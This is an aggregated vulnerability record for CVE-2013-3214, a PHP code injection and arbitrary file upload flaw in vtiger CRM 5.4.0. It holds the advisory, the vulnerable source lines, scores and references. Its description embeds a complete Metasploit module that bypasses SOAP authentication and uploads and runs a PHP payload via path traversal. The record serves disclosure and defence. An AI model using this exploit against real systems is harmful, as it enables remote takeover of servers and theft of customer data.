ID

VAR-202001-0886


CVE

CVE-2013-3214


TITLE

vtiger CRM  Vulnerability in injection

Trust: 0.8

sources: JVNDB: JVNDB-2013-007120

DESCRIPTION

vtiger CRM 5.4.0 and earlier contain a PHP Code Injection Vulnerability in 'vtigerolservice.php'. vtiger CRM Contains an injection vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. An attacker can exploit this issue to inject and execute arbitrary PHP code in the context of the affected application. This may facilitate a compromise of the application and the underlying system; other attacks are also possible. vtiger CRM 5.4.0 and prior are vulnerable. Vtiger CRM is a customer relationship management system (CRM) based on SugarCRM developed by American Vtiger Company. The management system provides functions such as management, collection, and analysis of customer information. [-] Vulnerability Description: The vulnerable code is located in the AddEmailAttachment SOAP method defined in /soap/vtigerolservice.php: 458. function AddEmailAttachment($emailid,$filedata,$filename,$filesize,$filetype,$username,$session) 459. { 460. if(!validateSession($username,$session)) 461. return null; 462. global $adb; 463. require_once('modules/Users/Users.php'); 464. require_once('include/utils/utils.php'); 465. $filename = preg_replace('/\s+/', '_', $filename);//replace space with _ in filename 466. $date_var = date('Y-m-d H:i:s'); 467. 468. $seed_user = new Users(); 469. $user_id = $seed_user->retrieve_user_id($username); 470. 471. $crmid = $adb->getUniqueID("vtiger_crmentity"); 472. 473. $upload_file_path = decideFilePath(); 474. 475. $handle = fopen($upload_file_path.$crmid."_".$filename,"wb"); 476. fwrite($handle,base64_decode($filedata),$filesize); 477. fclose($handle); The vulnerability exists because this method fails to properly validate input passed through the "filedata" and "filename" parameters, which are used to write an "email attachment" in the storage directory (lines 475-477). [-] Solution: The patch provided by the vendor (http://www.vtiger.com/blogs/?p=1467) doesn't fix completely this vulnerability, because a remote authenticated user can still be able to inject and execute arbitrary code. [*] The vendor was alerted about this when the feedback has been provided. [-] Disclosure Timeline: [13/01/2013] - Vendor notified [06/02/2013] - Vendor asked feedback abouthttp://trac.vtiger.com/cgi-bin/trac.cgi/changeset/13848 [05/03/2013] - Feedback provided to the vendor [*] [26/03/2013] - Vendor patch released [18/04/2013] - CVE number requested [20/04/2013] - CVE number assigned [01/08/2013] - Public disclosure [-] CVE Reference: The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2013-3214 to this vulnerability. [-] Credits: Vulnerability discovered by Egidio Romano. [-] Original Advisory: http://karmainsecurity.com/KIS-2013-07 . ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rexml/document' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include REXML include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload', 'Description' => %q{ vTiger CRM allows an user to bypass authentication when requesting SOAP services. In addition, arbitrary file upload is possible through the AddEmailAttachment SOAP service. This module has been tested successfully on vTiger CRM v5.4.0 over Ubuntu 10.04 and Windows 2003 SP2. }, 'Author' => [ 'Egidio Romano', # Vulnerability discovery 'juan vazquez' # msf module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-3214' ], [ 'CVE', '2013-3215' ], [ 'OSVDB', '95902' ], [ 'OSVDB', '95903' ], [ 'BID', '61558' ], [ 'BID', '61559' ], [ 'EDB', '27279' ], [ 'URL', 'http://karmainsecurity.com/KIS-2013-07' ], [ 'URL', 'http://karmainsecurity.com/KIS-2013-08' ] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { # Arbitrary big number. The payload is sent base64 encoded # into a POST SOAP request 'Space' => 262144, # 256k 'DisableNops' => true }, 'Targets' => [ [ 'vTigerCRM v5.4.0', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 26 2013')) register_options( [ OptString.new('TARGETURI', [ true, "Base vTiger CRM directory path", '/vtigercrm/']) ], self.class) end def check test_one = check_email_soap("admin", rand_text_alpha(4 + rand(4))) res = send_soap_request(test_one) unless res and res.code == 200 and res.body.to_s =~ /<return xsi:nil="true" xsi:type="xsd:string"\/>/ return Exploit::CheckCode::Unknown end test_two = check_email_soap("admin") res = send_soap_request(test_two) if res and res.code == 200 and (res.body.blank? or res.body.to_s =~ /<return xsi:type="xsd:string">.*<\/return>/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit file_name = rand_text_alpha(rand(10)+6) + '.php' php = %Q|<?php #{payload.encoded} ?>| soap = add_attachment_soap(file_name, php) res = send_soap_request(soap) print_status("#{peer} - Uploading payload...") if res and res.code == 200 and res.body.to_s =~ /<return xsi:type="xsd:string">.*<\/return>/ print_good("#{peer} - Upload successfully uploaded") register_files_for_cleanup(file_name) else fail_with(Failure::Unknown, "#{peer} - Upload failed") end print_status("#{peer} - Executing payload...") send_request_cgi({'uri' => normalize_uri(target_uri.path, 'soap', file_name)}, 0) end def add_attachment_soap(file_name, file_data) xml = Document.new xml.add_element( "soapenv:Envelope", { 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance", 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema", 'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/", 'xmlns:crm' => "http://www.vtiger.com/products/crm" }) xml.root.add_element("soapenv:Header") xml.root.add_element("soapenv:Body") body = xml.root.elements[2] body.add_element( "crm:AddEmailAttachment", { 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/" }) crm = body.elements[1] crm.add_element("emailid", {'xsi:type' => 'xsd:string'}) crm.add_element("filedata", {'xsi:type' => 'xsd:string'}) crm.add_element("filename", {'xsi:type' => 'xsd:string'}) crm.add_element("filesize", {'xsi:type' => 'xsd:string'}) crm.add_element("filetype", {'xsi:type' => 'xsd:string'}) crm.add_element("username", {'xsi:type' => 'xsd:string'}) crm.add_element("session", {'xsi:type' => 'xsd:string'}) crm.elements['emailid'].text = rand_text_alpha(4+rand(4)) crm.elements['filedata'].text = "MSF_PAYLOAD" crm.elements['filename'].text = "MSF_FILENAME" crm.elements['filesize'].text = file_data.length.to_s crm.elements['filetype'].text = "php" crm.elements['username'].text = rand_text_alpha(4+rand(4)) xml_string = xml.to_s xml_string.gsub!(/MSF_PAYLOAD/, Rex::Text.encode_base64(file_data)) xml_string.gsub!(/MSF_FILENAME/, "../../../../../../#{file_name}") return xml_string end def check_email_soap(user_name = "", session = "") xml = Document.new xml.add_element( "soapenv:Envelope", { 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance", 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema", 'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/", 'xmlns:crm' => "http://www.vtiger.com/products/crm" }) xml.root.add_element("soapenv:Header") xml.root.add_element("soapenv:Body") body = xml.root.elements[2] body.add_element( "crm:CheckEmailPermission", { 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/" }) crm = body.elements[1] crm.add_element("username", {'xsi:type' => 'xsd:string'}) crm.add_element("session", {'xsi:type' => 'xsd:string'}) crm.elements['username'].text = user_name crm.elements['session'].text = session xml.to_s end def send_soap_request(soap_data) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'soap', 'vtigerolservice.php'), 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => soap_data }) return res end end

Trust: 2.25

sources: NVD: CVE-2013-3214 // JVNDB: JVNDB-2013-007120 // BID: 61558 // VULHUB: VHN-63216 // VULMON: CVE-2013-3214 // PACKETSTORM: 122646 // PACKETSTORM: 124698

AFFECTED PRODUCTS

vendor:vtigermodel:crmscope:lteversion:5.4.0

Trust: 1.8

vendor:vtigermodel:crmscope:eqversion: -

Trust: 0.8

vendor:vtigermodel:crmscope:eqversion:5.3

Trust: 0.3

vendor:vtigermodel:crmscope:eqversion:5.2.1

Trust: 0.3

vendor:vtigermodel:crmscope:eqversion:5.2

Trust: 0.3

vendor:vtigermodel:crmscope:eqversion:5.1

Trust: 0.3

vendor:vtigermodel:crmscope:eqversion:5.0.4

Trust: 0.3

vendor:vtigermodel:crmscope:eqversion:5.0.3

Trust: 0.3

vendor:vtigermodel:crm rcscope:eqversion:5.0.4

Trust: 0.3

sources: BID: 61558 // JVNDB: JVNDB-2013-007120 // NVD: CVE-2013-3214

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2013-3214
value: CRITICAL

Trust: 1.0

NVD: CVE-2013-3214
value: CRITICAL

Trust: 0.8

VULHUB: VHN-63216
value: HIGH

Trust: 0.1

VULMON: CVE-2013-3214
value: HIGH

Trust: 0.1

nvd@nist.gov: CVE-2013-3214
severity: HIGH
baseScore: 7.5
vectorString: AV:N/AC:L/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 10.0
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.9

VULHUB: VHN-63216
severity: HIGH
baseScore: 7.5
vectorString: AV:N/AC:L/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 10.0
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

nvd@nist.gov: CVE-2013-3214
baseSeverity: CRITICAL
baseScore: 9.8
vectorString: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: 3.9
impactScore: 5.9
version: 3.1

Trust: 1.0

NVD: CVE-2013-3214
baseSeverity: CRITICAL
baseScore: 9.8
vectorString: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: NONE
impactScore: NONE
version: 3.0

Trust: 0.8

sources: VULHUB: VHN-63216 // VULMON: CVE-2013-3214 // JVNDB: JVNDB-2013-007120 // NVD: CVE-2013-3214

PROBLEMTYPE DATA

problemtype:CWE-74

Trust: 1.1

problemtype:injection (CWE-74) [NVD Evaluation ]

Trust: 0.8

sources: VULHUB: VHN-63216 // JVNDB: JVNDB-2013-007120 // NVD: CVE-2013-3214

THREAT TYPE

remote

Trust: 0.7

sources: PACKETSTORM: 122646 // CNNVD: CNNVD-201308-009

TYPE

injection

Trust: 0.6

sources: CNNVD: CNNVD-201308-009

EXPLOIT AVAILABILITY

sources: VULHUB: VHN-63216 // VULMON: CVE-2013-3214

PATCH

title:Top Pageurl:https://www.vtiger.com/

Trust: 0.8

title:Vtiger CRM vtigerolservice.php Remotely PHP Fixes for code injection vulnerabilitiesurl:http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=109036

Trust: 0.6

title:CVE-2013-3214url:https://github.com/shadofren/CVE-2013-3214

Trust: 0.1

title: - url:https://github.com/khulnasoft-labs/awesome-security

Trust: 0.1

sources: VULMON: CVE-2013-3214 // JVNDB: JVNDB-2013-007120 // CNNVD: CNNVD-201308-009

EXTERNAL IDS

db:NVDid:CVE-2013-3214

Trust: 3.1

db:BIDid:61558

Trust: 2.1

db:EXPLOIT-DBid:30787

Trust: 1.8

db:JVNDBid:JVNDB-2013-007120

Trust: 0.8

db:CNNVDid:CNNVD-201308-009

Trust: 0.6

db:PACKETSTORMid:124698

Trust: 0.2

db:PACKETSTORMid:122646

Trust: 0.2

db:EXPLOIT-DBid:27279

Trust: 0.1

db:SEEBUGid:SSVID-84151

Trust: 0.1

db:VULHUBid:VHN-63216

Trust: 0.1

db:VULMONid:CVE-2013-3214

Trust: 0.1

sources: VULHUB: VHN-63216 // VULMON: CVE-2013-3214 // BID: 61558 // JVNDB: JVNDB-2013-007120 // PACKETSTORM: 122646 // PACKETSTORM: 124698 // CNNVD: CNNVD-201308-009 // NVD: CVE-2013-3214

REFERENCES

url:https://exchange.xforce.ibmcloud.com/vulnerabilities/86164

Trust: 2.6

url:http://www.securityfocus.com/bid/61558

Trust: 1.9

url:http://www.exploit-db.com/exploits/30787

Trust: 1.8

url:https://nvd.nist.gov/vuln/detail/cve-2013-3214

Trust: 1.6

url:http://www.vtiger.com/

Trust: 0.4

url:https://cwe.mitre.org/data/definitions/74.html

Trust: 0.1

url:https://github.com/shadofren/cve-2013-3214

Trust: 0.1

url:https://nvd.nist.gov

Trust: 0.1

url:https://www.exploit-db.com/exploits/30787/

Trust: 0.1

url:http://trac.vtiger.com/cgi-bin/trac.cgi/changeset/13848

Trust: 0.1

url:http://karmainsecurity.com/kis-2013-07

Trust: 0.1

url:http://www.vtiger.com/blogs/?p=1467)

Trust: 0.1

url:http://karmainsecurity.com/kis-2013-08'

Trust: 0.1

url:http://www.w3.org/2001/xmlschema",

Trust: 0.1

url:http://schemas.xmlsoap.org/soap/encoding/"

Trust: 0.1

url:https://github.com/rapid7/metasploit-framework

Trust: 0.1

url:http://www.w3.org/2001/xmlschema-instance",

Trust: 0.1

url:http://schemas.xmlsoap.org/soap/envelope/",

Trust: 0.1

url:http://karmainsecurity.com/kis-2013-07'

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2013-3215

Trust: 0.1

url:http://www.vtiger.com/products/crm"

Trust: 0.1

sources: VULHUB: VHN-63216 // VULMON: CVE-2013-3214 // BID: 61558 // JVNDB: JVNDB-2013-007120 // PACKETSTORM: 122646 // PACKETSTORM: 124698 // CNNVD: CNNVD-201308-009 // NVD: CVE-2013-3214

CREDITS

Egidio Romano

Trust: 0.9

sources: BID: 61558 // CNNVD: CNNVD-201308-009

SOURCES

db:VULHUBid:VHN-63216
db:VULMONid:CVE-2013-3214
db:BIDid:61558
db:JVNDBid:JVNDB-2013-007120
db:PACKETSTORMid:122646
db:PACKETSTORMid:124698
db:CNNVDid:CNNVD-201308-009
db:NVDid:CVE-2013-3214

LAST UPDATE DATE

2024-08-14T13:25:07.584000+00:00


SOURCES UPDATE DATE

db:VULHUBid:VHN-63216date:2020-01-31T00:00:00
db:VULMONid:CVE-2013-3214date:2020-01-31T00:00:00
db:BIDid:61558date:2014-01-09T06:00:00
db:JVNDBid:JVNDB-2013-007120date:2020-02-14T00:00:00
db:CNNVDid:CNNVD-201308-009date:2020-05-29T00:00:00
db:NVDid:CVE-2013-3214date:2020-01-31T19:07:00.973

SOURCES RELEASE DATE

db:VULHUBid:VHN-63216date:2020-01-28T00:00:00
db:VULMONid:CVE-2013-3214date:2020-01-28T00:00:00
db:BIDid:61558date:2013-08-01T00:00:00
db:JVNDBid:JVNDB-2013-007120date:2020-02-14T00:00:00
db:PACKETSTORMid:122646date:2013-08-01T15:53:32
db:PACKETSTORMid:124698date:2014-01-07T04:14:36
db:CNNVDid:CNNVD-201308-009date:2013-08-02T00:00:00
db:NVDid:CVE-2013-3214date:2020-01-28T21:15:11.733